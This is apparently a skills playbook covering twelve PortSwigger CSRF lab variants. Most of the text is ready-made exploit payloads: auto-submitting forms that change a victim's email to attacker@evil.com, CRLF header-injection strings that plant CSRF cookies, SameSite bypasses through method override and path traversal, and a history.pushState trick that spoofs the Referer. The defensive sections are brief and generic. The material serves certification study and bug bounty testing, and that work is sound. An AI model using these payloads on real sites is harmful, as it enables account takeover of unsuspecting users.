akashrpatil CSRF — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- Studying for BSCP (Burp Suite Certified Practitioner) certification
- Testing real-world targets for these vulnerability classes
- Bug bounty hunting — these exact techniques find real bugs
- Building exploitation chains
Prerequisites
- Burp Suite Professional (Community works for most)
- Browser with proxy configured
- Burp Collaborator or interactsh for OOB testing
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: No defenses 🟢 APPRENTICE
<form action="https://TARGET/email/change" method="POST">
<input name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit();</script>
Lab 2: Token depends on request method 🟡 PRACTITIONER
Change POST to GET:
<img src="https://TARGET/email/change?email=attacker@evil.com">
CSRF token only validated on POST, not GET.
Lab 3: Token depends on being present 🟡 PRACTITIONER
Remove the csrf parameter entirely. Server only validates IF token is present.
Lab 4: Token not tied to session 🟡 PRACTITIONER
Use YOUR valid CSRF token in the victim's request. Server validates token exists but not ownership.
Lab 5: Token tied to non-session cookie 🟡 PRACTITIONER
Inject your csrfKey cookie via header injection:
/?search=test%0d%0aSet-Cookie:+csrfKey=YOUR_KEY
Then use your matching CSRF token.
Lab 6: Token duplicated in cookie 🟡 PRACTITIONER
Cookie and parameter must match. Inject cookie:
/?search=test%0d%0aSet-Cookie:+csrf=fake
Use csrf=fake in form.
Lab 7: SameSite Lax method override 🟡 PRACTITIONER
<script>document.location='https://TARGET/email/change?email=attacker@evil.com&_method=POST';</script>
_method=POST overrides GET to POST on server side. SameSite=Lax allows GET.
Lab 8: SameSite Strict client-side redirect 🟡 PRACTITIONER
Find an open redirect on the same domain, chain:
https://TARGET/post/comment/confirmation?postId=1/../../email/change?email=attacker@evil.com%26submit=1
Lab 9: SameSite Strict sibling domain 🟡 PRACTITIONER
Find XSS on a sibling domain (e.g., cms.target.com) and use it to make same-site requests to target.com.
Lab 10: SameSite Lax cookie refresh 🟡 PRACTITIONER
After OAuth login, the session cookie is fresh (< 2 min). SameSite=Lax allows top-level navigations within the 2-minute window.
Lab 11: Referer depends on header being present 🟡 PRACTITIONER
<meta name="referrer" content="no-referrer">
<form action="https://TARGET/email/change" method="POST">
<input name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit();</script>
Suppress Referer entirely — server only checks IF present.
Lab 12: Broken Referer validation 🟡 PRACTITIONER
<script>history.pushState('','','/?TARGET.com');</script>
<form action="https://TARGET/email/change" method="POST">...</form>
Referer becomes https://evil.com/?TARGET.com which passes the substring check.
Add header: Referrer-Policy: unsafe-url
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
Zero-Day Research Methodology
When a standard technique doesn't work:
- Identify the filter: What chars/patterns are blocked?
- Research bypasses: Search GitHub, Twitter, PortSwigger Research for new techniques
- Fuzz extensively: Use Burp Intruder with custom charset/tag lists
- Chain vulnerabilities: Combine two medium findings into one critical
- Check encoding layers: URL, HTML entity, Unicode, double-encode, XML entity
Key Concepts
| Concept | Description |
|---|---|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |
Output Format
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
🛡️ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class